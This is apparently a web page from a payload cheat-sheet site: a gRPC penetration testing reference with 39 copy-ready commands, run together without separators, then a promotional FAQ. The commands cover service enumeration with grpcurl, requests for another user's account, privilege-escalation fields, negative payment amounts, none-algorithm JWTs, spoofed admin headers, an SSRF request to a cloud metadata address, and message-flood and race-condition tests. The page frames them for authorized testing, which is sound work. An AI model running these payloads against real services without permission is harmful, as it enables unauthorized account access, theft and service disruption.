gRPC penetration testing reference: server reflection enumeration, grpcurl, protobuf message tampering, TLS/metadata auth testing, and fuzzing protobuf-encoded RPC endpoints. (39 payloads)
grpcurl -plaintext target:50051 listgrpcurl -plaintext target:50051 list package.v1.AccountServicegrpcurl -plaintext target:50051 describe package.v1.AccountService.GetAccountgrpcurl -plaintext target:50051 describe .package.v1.GetAccountRequestgrpcui -plaintext target:50051grpc_cli ls target:50051 -lbuf curl --schema . --reflect=false http://target:50051/package.v1.AccountService/GetAccountgrpcurl -plaintext -proto api.proto target:50051 describeprotoc --decode_raw < captured_message.binSearch client JS/APK/IPA for *.proto, FileDescriptorProto, or grpc.web service stubsgrep -aoE '[a-zA-Z0-9_.]+Service' app.bundle.js | sort -uReplay a known good request, then brute-force method names with a wordlist of common verbs (Get/List/Create/Update/Delete/Admin*)Reconstruct messages from protoc --decode_raw output by assigning field tags to a hand-written .protogrpcurl -plaintext -d '{"id": 1337}' target:50051 package.v1.AccountService.GetAccountgrpcurl -plaintext -d @ target:50051 pkg.v1.Svc.Method <<'EOF'\n{"user_id": "victim-uuid"}\nEOFgrpcurl -plaintext -d '{"user_id": "OTHER_USER"}' target:50051 pkg.v1.AccountService.GetAccountgrpcurl -plaintext -d '{"role": "ADMIN", "is_admin": true}' target:50051 pkg.v1.UserService.UpdateProfilegrpcurl -plaintext -d '{"amount": -1000}' target:50051 pkg.v1.PaymentService.Transfergrpcurl -plaintext -d '{"items": [{"id":1},{"id":1}, ... ]}' target:50051 pkg.v1.Cart.Bulkgrpcurl -plaintext -d '{}' -max-msg-sz 209715200 target:50051 pkg.v1.Svc.Methodgrpcurl -plaintext -H 'authorization: Bearer eyJ...' target:50051 pkg.v1.Svc.Methodgrpcurl -plaintext target:50051 pkg.v1.AdminService.DeleteUsergrpcurl -H 'authorization: Bearer <none-alg-jwt>' ... pkg.v1.Svc.Methodgrpcurl -H 'x-user-id: 1' -H 'x-is-admin: true' ... pkg.v1.Svc.Methodgrpcurl -H 'cookie: session=...' ... ; or -H 'authorization-bin: <base64>'grpcurl -insecure -d '...' target:443 pkg.v1.Svc.Methodgrpcurl -cacert ca.pem -cert client.pem -key client.key target:443 listGenerate malformed protobuf via mutated --decode_raw output and resend with grpcurl over a synthetic .protofuzz '{"name": "§FUZZ§"}' against pkg.v1.Svc.Method with an injection wordlistgrpcurl -d '{"url":"http://169.254.169.254/latest/meta-data/"}' ... pkg.v1.Fetch.GetSend deeply nested / recursive sub-messages to test recursion and max-message limitsOpen a client-stream/bidi method and never half-close; flood with messagesReplay the same idempotent-looking RPC concurrently (race condition)Map status codes: 3 INVALID_ARGUMENT, 5 NOT_FOUND, 7 PERMISSION_DENIED, 12 UNIMPLEMENTED, 16 UNAUTHENTICATEDmitmproxy --mode reverse:http://target:50051 --set http2=trueBurp Suite + 'gRPC/protobuf' support (Inspector) to decode application/grpc bodiesPoint the target client at a grpc-web/Envoy proxy and intercept the cleartext JSON-ish frameswireshark: decode_as HTTP2, then 'Protobuf' dissector with loaded .proto for field namesForce HTTP/1.1 or h2c downgrade and check if a transcoding gateway (grpc-gateway) exposes a REST surfaceLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 39 gRPC Security payloads for testing gRPC Security Testing vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the GraphQL Security Tester to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all gRPC Security payloads are completely free, with no account required. Everything runs in your browser.